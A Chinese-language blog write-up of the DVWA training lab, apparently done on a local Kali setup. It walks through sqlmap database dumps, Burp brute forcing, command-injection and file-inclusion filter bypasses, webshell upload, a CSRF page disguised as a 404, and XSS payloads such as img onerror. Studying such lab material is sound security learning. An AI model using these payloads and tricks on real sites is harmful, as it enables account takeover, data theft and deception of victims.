DVWA部分解析


DVWA靶场解析


ps:有好长一段时间没有学web了,一个月都在准备各种考试 QAQ,这几天花了点时间把kali虚拟机搭了一下,顺带着说dvwa靶场我是在kali里刷的,搭这个玩意着实麻烦……,但好处是不用再下工具了,kali就是为web渗透而生!(一个苦逼花了快一天时间整完后的遗言)

0x01 SQL Injection


sqlmap工具注入


Low

由于是sql注入这里就不展示太多的sql关卡的打法,这里记录的是新工具的用法sqlmap(能自动何必手动)
这里附上链接总结了sqlmap的一些常见命令。
以及打通这个关卡的视频1视频2更好理解
开始我们输入sqlmap后进入交互状态,然后先在low状态下的sql关卡输入1并抓包获取cookie
输入命令
sqlmap -u "192.168.201.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=uitdooscaev668qng96hju3vh8" --batch

可以看到我们爆出了注入点
sqlmap -u "192.168.201.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=uitdooscaev668qng96hju3vh8" --dbs --batch

列出库名
sqlmap -u "192.168.201.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=uitdooscaev668qng96hju3vh8" --current-db --batch

列出当前库名
sqlmap -u "192.168.201.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=uitdooscaev668qng96hju3vh8" -D dvwa --tables --batch

列出表名
sqlmap -u "192.168.201.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=uitdooscaev668qng96hju3vh8" -D dvwa T users --columns --batch

列出users表的字段信息
sqlmap -u "192.168.201.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=uitdooscaev668qng96hju3vh8" -D dvwa T users C users,password,user_id --dump --batch

打印你想要的信息并自动解密还会自动保存到本地上(倒数第二行告诉我们它的存储地址)直接复制去找就行,结果如下:

Medium

这里我们没有输入框,但是我们可以通过把命令数据放进数据包来执行命令,下面举出一个例子:
sqlmap -r /root/1.txt -D dvwa --tables --batch

这里我们只要抓包然后将抓包后的所有内容复制到新的文本文件1.txt并告诉系统它的绝对路径,(如果和sqlmap相同路径就不用绝对路径了),这里我放在了root根目录下,可以看出直接用抓包数据还是很方便的,其他的一样。同时这里也有遇到一个问题如果你也出现了[07:53:47] [CRITICAL] specified file ‘/root/1.txt’ does not contain a usable HTTP request (with parameters)这个报错,那么这件事是在是太酷啦,目前测出来是1.txt文本要重新创建就可以成功避开,不知道什么原理

High

这里碰到一个报错,实在不知道什么原因暂时就不发了,报错发一下[CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for ‘–level’/‘–risk’ options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option ‘–tamper’ (e.g. ‘–tamper=space2comment’) and/or switch ‘–random-agent’
如果有有心人看到能告诉我就更好了……

0x02 Brute Force


Low

任意输入用户名和密码并抓包

将结果右击送入intruder,先右击clean清除变量

再add我们要爆破的变量,这里我们选定password

payload选simple list,并导入自己网上下的字典,开始攻击

当看到出现不一样长度的length就代表成功了,此密码可以登入

Medium

和Low差不多只是在代码上加上了转义,一定程度上防御了sql注入

High

ps:这题巨麻烦要设置好多东西而且顺序还不能反

  • Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。
    随便输入并先抓包,送给intruder,Attack type设置Pitchfork并把password和token设为爆破变量

    跳转到seting,找到Grep-Extract模块点击add进入下面界面,这里先点击fetch response后,这里有点难找可以在上面先输入value=’然后双击那个token(记得复制!!!),点击OK

    找到Redirections模块选Always

    回去设置payload第一个payload和上面Low一样,而后设置第二个如下,刚刚的token复制在框里:

    然后开始攻击,但是你可能会出现这个报错:

    这是因为我们没有设置线程的模块了,burp suite版本太新,给出解决办法
    最后开始攻击:

    可以看到在render里我们成功爆破进入

0x03 Command Injection


Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施进一步的渗透攻击。

原理:Web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注入的漏洞。
命令注入的形成需要如下三个条件:

  • 1、使用了内部调用shell的函数:system(),exec()等。

  • 2、将外界传入的参数没有足够的过滤,直接传递给内部调用shell的函数。

  • 3、参数中shell的元字符没有被转义。

Low

源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

后台代码并未对用户输入的参数ip的值进行过滤就直接与ping命令进行拼接并执行 ,因此我们可以使用常见的命令拼接字符对命令进行拼接,如使用“&”,“|”,“&&”,“||”等,linux系统下还可以使用“;”,“``”。

  • 对于a & b,既执行a的命令也执行b的命令;
  • 对于a && b,在a执行成功的情况下执行b,a执行失败就不会执行b,和逻辑与一样;
  • 对于a | b,“|”为管道符,它将a执行的结果作为b的输入,因此无论a执行结果如何,都会执行b;
  • 对于a || b,在a执行失败的情况下执行b,a执行成功则不会执行b,和逻辑或一样;
  • 对于a;b,在Linux系统下会将a和b都执行;
    以下为攻击代码:


Medium

源代码

 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

加入了字符转义,将&&和;过滤了不过没什么差别,和sqli-lab的转义过滤差不多,绕过方法也一样

High

源代码

 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

过滤了更多了,只是“||”和“| |”是有差别的,之间有多个空格可以利用


这样就不会被过滤

0x04 Cross Site Request Forgery (CSRF)


ps:学了这么久第一次让我感觉非常感兴趣的技术就是这个了,我终于明白以前小学别人是怎么盗我号的了,不得不说真的骚

  • 原理:CSRF(跨站请求伪造),全称为Cross-site request forgery,简单来说,是攻击者利用受害者尚未失效的身份认证信息,诱骗受害者点击恶意链接或含有攻击代码的页面,在受害者不知情的情况下以受害者的身份像服务器发起请求,从而实现非法攻击(改密)。

Low

这一关是一个改密码的界面,输入新密码后可以发现自己的dvwa密码确实被改了,这个可以去Brute Force这个关卡去验证登入

源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
//获取两个输入框的密码
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
//查看两次输入的是否一致
    if( $pass_new == $pass_conf ) {
        // They do!
//如果一致就直接插入数据库
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

我们将改密码后的关卡url进行复制,然后用同一个浏览器新开一个页面粘贴,这里的两个框里的数据可以改,改完后网站密码就是你改后的密码

这里就可以利用了,通常消费者不会去点击陌生的长链接,我们可以将我们的链接改短(这个在网上搜索在线链接缩短就有)去欺骗消费者,我们可以将界面改为404这样就可以做到让消费者认为页面出错而已,实际上恶意代码已经执行
生成链接:

在phpstudy/www文件夹下新建1.html文件并输入以下代码:

<img src="http://127.0.0.1/dvwa-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

这样用生成的链接去访问文件,打开这个文件就会执行这个代码(链接访问后会自己变回原来的长链接)
效果如图:

这时你再去试就会发现你的密码被改了,是不是很神奇

Medium

源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
//stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False
//判断Host字段是否出现在referer字段中
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input

        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.1),希望通过这种机制抵御CSRF攻击。
我们可以看看用Low的方法抓包后的区别

方法一:

我们把地址栏抓到的数据包发送给重发器,把在页面数据包中的referer复制过来,结果如下,成功:

方法二:

因为它对比的是打开的链接HOST参数(127.0.0.1)在原来网站的reference有没有存在(用这个函数stripos(str1, str2)来比较)那我们的思路可以更骚直接把文件名命名为127.0.0.1.html,这里为了更好理解,这里附上图可以看到reference是127.0.0.1/127.0.0.1.html,然后访问的head参数也是127.0.0.1满足条件绕过。其实这里用Low的方法也行
因为127.0.0.1/1.htm也带有127.0.0.1也可以绕过如果把靶场用本机ip来替换127.0.0.1,这题会更好。

High

要用到xss攻击,目前不会

0x05 File Inclusion


原理解释


Low

不知道怎么演示,直接copy吧:全等级做法

Medium

源码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

加了些过滤,将“http://”,“https://”,“../”,“..\”全部替换成了空,这个地方其实可以考虑双写绕过。
和Low的做法原理一样,我们可以构造url为?page=hthttp://tp://www.baidu.com,过滤后为http://www.baidu.com等等

High

源码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

这里设置只能以file开头才能通过判定,需要使用伪协议:file://(访问本地文件系统)给出参考文章
需要知道绝对路径,例子都在给出的师傅博客里有了,这里就不列举了。

0x06 File Upload


Low

在upload-lab时已经讲的很清楚了,直接上传shell.php附带木马然后用蚁剑连接就行

Medium

只能上传png和jpg格式的文件,我们只需要将php文件改为png文件正常上传抓包,把修改后缀回php即可

High

上传图片马即可

0x07 Insecure CAPTCHA


ps:这题网上的解析也很少,主要看代码进行分析漏洞,不好讲


  • 验证流程:用户首先访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。

但是这题没有用到验证码什么的,只是说要怎么绕过验证码验证,实际上页面也没有给出验证码的窗口输入

Low

部分源码:

//第一阶段,验证身份,验证阶段为step
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
//隐藏验证码表单
    $hide_form = true;
……
//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

这里分两步走,第一步是验证验证码的正确性,第二步是修改密码,通过抓包我们可以看到页面上传了个step参数=1:

改成2绕过第一个判定,直接进行第二步修改密码

Medium

源码:

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if they did stage 1
    if( !$_POST[ 'passed_captcha' ] ) {
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
        $hide_form = false;
        return;
    }

if( !$_POST[ ‘passed_captcha’ ] )对passed_captcha进行了判断,但是这个值本来由Google判定是否正确再返回给服务器,但这里我们连验证码都没有申请何来判定,于是我们直接给它加上参数,抓包添加如下:

High

源码:

if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );
//(通过身份验证条件)或者 (参数g-recaptcha-respon为hidd3n_valu3并且参数 HTTP_USER_AGE为 reCAPTC)就算是验证通过了
    if (
        $resp || 
        (
            $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
            && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'

我们看到,它把第一二步给合并了,但是给了我们另外一个绕过的就会就是(通过身份验证条件)或者 (参数g-recaptcha-respon为hidd3n_valu3并且参数 HTTP_USER_AGE为 reCAPTC)就算是验证通过了显然我们不可能去通过第一个验证(因为我们没有验证码),但是我们将后面两个参数给填上就可以了:

0x08 Weak Session IDs


Weak Session IDs(弱会话),用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。

Low

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
//服务器每次生成的session_id加1给客户端
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

这里会将SESSION[‘last_session_id’]的值+1作为cookie值
我们只要抓包放包,再抓包就可以看到它的session_id值:

把他复制下来,清空浏览器的cookie值,重开新页面,用HackBar送我们复制的cookie值就可以骗过服务器,绕过密码登入

Medium

源码:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}
?> 

这是通过时间戳来形成dvwaSession的,在线工具,和Low一样把dvwaSession改改就行了,可以伪造CSRF,这个是引导受害者在某个时间点进行点击的

High

源码:

 <?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

setcookie函数参数如下:

对session_id进行md5加密,放包后我们只要把刚刚session解密+1,重新加密构造payload和Low是一样的做法

0x08 DOM Based Cross Site Scripting (XSS)


DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

Low

<?php

# No protections, anything goes

?> 

没开任何保护,在url直接输入JavaScript代码http://127.0.0.1/dvwa-master/vulnerabilities/xss_d/?default=<script>alert(666)</script>
如图输出666

Meidum

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
} 
  • array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
    提示:如果指定数组的时候省略了键名,将会生成从 0 开始并以 1 递增的整数键名
    array_key_exists(key,array)
    key 必需 规定键名。
    array 必需。规定数组

  • stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    stripos(string,find,start)
    string 必需 规定被搜索的字符串。
    find 必需 规定要查找的字符。
    start 可选 规定开始搜索的位置。
    返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。

  • header() 函数向客户端发送原始的 HTTP 报头
    header(string,replace,http_response_code)
    string 必需 规定要发送的报头字符串。
    replace 可选 指示该报头是否替换之前的报头,或添加第二个报头。
    默认是 true(替换)。false(允许相同类型的多个报头)。
    http_response_code可选 把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用)

这里过滤掉了<script,当函数匹配到 <script 字符串的时候就会将URL后面的参数修正为 ?default=English,并且stripos 防止大小写绕过

方法一:

在default添加#意味着后面的代码不会上传服务器
构造url:http://127.0.0.1/dvwa/vulnerabilities/xss_d/#?default=<script>alert(666)</script>这里我kali里用本机ip会成功但是在物理机里不会成功

方法二:

构造url:http://127.0.0.1/dvwa-master/vulnerabilities/xss_r/?default=English</option></select><img src=x onerror=alert(666)>在这里可以通过onerror事件,在装载文档或图像的过程中如果发生了错误就会触发(大哥写的代码我也看不懂,目前不会html语言)and我确定我物理机上的靶场有点问题,kali是成功的。

High

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the alLowable languages
//白名单,只允许French、English、German、Spanish
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

很清楚这里是白名单,如果default不为几个语言中的一个,就会强制把default设为English
可以用Medium的方法一做,url=http://127.0.0.1/dvwa-master/vulnerabilities/xss_d/?default=English#<script>alert(666)</script>

0x09 Reflected Cross Site Scripting (XSS)


反射型XSS,顾名思义在于“反射”这个一来一回的过程。反射型XSS的触发有后端的参与,而之所以触发XSS是因为后端解析用户在前端输入的带有XSS性质的脚本或者脚本的data URI编码,后端解析用户输入处理后返回给前端,由浏览器解析这段XSS脚本,触发XSS漏洞。因此如果要避免反射性XSS,则必须需要后端的协调,在后端解析前端的数据时首先做相关的字串检测和转义处理;同时前端同样也许针对用户的数据做excape转义,保证数据源的可靠性

基本原理就是通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特定的代码参数会被HTML解析,执行,如此就可以获取用户的COOIKE,进而盗号登陆。

特点是:非持久化 必须用户点击带有特定参数的链接才能引起。
XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

Low

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

没有进行任何判断和过滤,直接输入,成功

Medium

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
//将输入中的<script>转化为空
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

会对<script>进行检查,将其替换成空,但是str_replace函数是区分大小写的,可以交替大小写绕过<sCript>alert(666)</ScRipt>,也可以双写绕过:<sc<script>ript>alert(666)</script>

High

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
//使用通配符,完全匹配script*N,所以有关script的标签全被过滤
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

preg_replace() 函数执行一个正则表达式的搜索和替换,“*” 代表一个或多个任意字符,“i” 代表不区分大小写,这次是杜绝了一切script的字符,但我们仍然可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本。<img src = 1 onerror = alert(1)>

0x0A Stored Cross Site Scripting (XSS)


XSS存储型攻击,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

Low

这一关没有对xss有检查,因为在Name有长度限制,所以直接在Message中进行注入<script>alert(666)</script>
补充几个函数:

  • trim(string,charlist)
    函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。

  • stripslashes(string)
    函数删除字符串中的反斜杠。

以及老朋友:

  • mysql_real_escape_string(string,connection)
    函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

Medium

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
// strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签
// addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
// htmlspecialchars(str)函数将字符串转化为HTML实体

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

htmlspecialchars(str)函数将字符串转化为HTML实体,因此无法在message中进行注入xss(好像是可以绕过的,这里不讲述),于是在name里输入抓包更改内容即可。

High

和上面反射型差不多,在message和Medium没区别,在Name里对<script>全部过滤了于是采用其他注入脚本<img src = onerror = alert(666)>

0x0B JavaScript Attacks


Low

<?php
$page['body'] .= <<<EOF
<script>
……
 function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }

    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
</script>
EOF;
?>

JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的。
若是涉及到Cookie、Session等记录用户信息的脚本,应该通过外部引入方式,并且不能暴露文件路径,控制好文件访问权限,若被攻击者获取到重要脚本代码,则能伪造其他合法用户进行伪造。
源码中说是用MD5加密的,我们抓包上传把Phrase改为success,根据源码来看token=md5(rot13(phrase));,这里我们用火狐的控制台来操作输入md5(rot13(“success”))然后按ctrl+enter运行生成token把它替换给抓包就行了

成功后是这样的:

Medium

剩下的不想写了直接给博客链接

High


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录